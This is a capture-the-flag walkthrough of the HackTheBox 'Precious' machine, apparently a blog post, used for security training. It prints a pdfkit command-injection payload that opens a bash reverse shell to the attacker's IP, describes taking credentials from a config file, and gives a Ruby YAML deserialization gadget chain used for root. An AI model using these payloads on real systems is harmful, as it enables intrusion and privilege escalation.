Precious HackTheBox Walkthrough

Precious is an easy level linux machine available on HackTheBox. This includes exploiting a command injection vulnerability in pdfkit (CVE-2022–25765) to get a basic shell and then gaining root access via YAML deserialization attack.

Precious HackTheBox Walkthrough

Initial Enumeration

Let us start the initial enumeration by running a port scan using nmap, looking for open ports and running services.

┌──(madhav㉿kali)-[~/ctf/htb/precious]
└─$ nmap -sC -sV -oN nmap/initial 10.10.11.189
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-26 21:32 IST
Nmap scan report for 10.10.11.189
Host is up (0.23s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.88 seconds

There are only two ports open. We have SSH running on port 22 and nginx web server running on port 80. Let's start the enumeration with port 80 first. Port 80 redirects us to http://precious.htb. Let us add this to our /etc/hosts file.

┌──(madhav㉿kali)-[~/ctf/htb/precious]
└─$ cat /etc/hosts          
127.0.0.1       localhost
127.0.1.1       kali
10.10.11.189    precious.htb

Web Enumeration

Now let's begin the enumeration by opening the IP address in our web browser.

Next, we can run a gobuster scan to look for hidden files and directories.

┌──(madhav㉿kali)-[~/ctf/htb/precious]
└─$ gobuster dir -u http://precious.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .html,.php,.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://precious.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
2022/12/26 21:38:56 Starting gobuster in directory enumeration mode
===============================================================

===============================================================
2022/12/26 21:54:34 Finished
===============================================================

The gobuster scan did not give us any results. I tried using another wordlist too, but there are no hidden files or directories. So let's explore the PDF functionality.

The website offers us a service which converts web pages to PDFs. Let us try this out. To test this, we need to start a python web server on our machine.

Submit the URL of your web server on the website. In my case it will be http://10.10.xx.xx:8000. It gives us a PDF file as expected.

It looks like a normal PDF file. Let us check its metadata using exiftool.

We can see an entry which says Created by pdfkit v0.8.6. The pdfkit is a library used to generate PDFs.

If we search on Google for this version number it gives us information about CVE-2022–25765. It is vulnerable to command injection. You can read more about this vulnerability here. This vulnerability exists because of improper sanitisation of user input.

We can generate a reverse shell payload from revshells.com and add it with the URL. The final payload will look similar to this:

http://10.10.xx.xx:8000/?page=#{'%20`bash -c "bash -i >& /dev/tcp/10.10.xx.xx/9001 0>&1"`'}

Submitting this payload will give us a reverse shell.

Privilege Escalation

We have two users on this box, henry and ruby. Currently we have a shell as user ruby. We need to escalate our privileges to user henry in order to read the user.txt.

Looking around a bit more, we can find a file named config in /home/ruby/.bundle. It contains the credentials for user henry.

We can login as user henry via SSH and read the user flag!

┌──(madhav㉿kali)-[~/ctf/htb/precious]
└─$ ssh henry@precious.htb      
henry@precious.htb's password: 
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Dec 29 02:52:35 2022 from 10.10.14.66
-bash-5.1$ id
uid=1000(henry) gid=1000(henry) groups=1000(henry)
-bash-5.1$ cat user.txt
********************************
-bash-5.1$

Root Shell

Now that we’re logged in as the user henry, let’s see what we can do. We can try running the sudo -l command to check if we run any commands as user root.

henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

The user henry can execute the file /opt/update_dependencies.rb as user root. Let's check the source code of this file.

After looking at the code, we can see that it uses the YAML.load() function which we know is vulnerable to YAML deserialization attack. You can read more about YAML deserialization here.

In order for our RCE to work, we need to craft a payload in a new file called dependencies.yml. I created this file in the home directory of user henry.

henry@precious:~$ cat dependencies.yml 
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: /bin/bash
         method_id: :resolve

On executing /opt/update_dependencies.rb, we get the root shell!

henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb 
sh: 1: reading: not found
root@precious:/home/henry# cd /root
root@precious:~# cat root.txt 
********************************
root@precious:~#

That's it! Thanks for reading. If you have any doubts/suggestions, you can share them below in the comments, I will be happy to help!

Stay tuned for similar walkthroughs and much more coming up in the near future!

NOTE: The awesome artwork used in this article was created by Alexey Kuvaldin.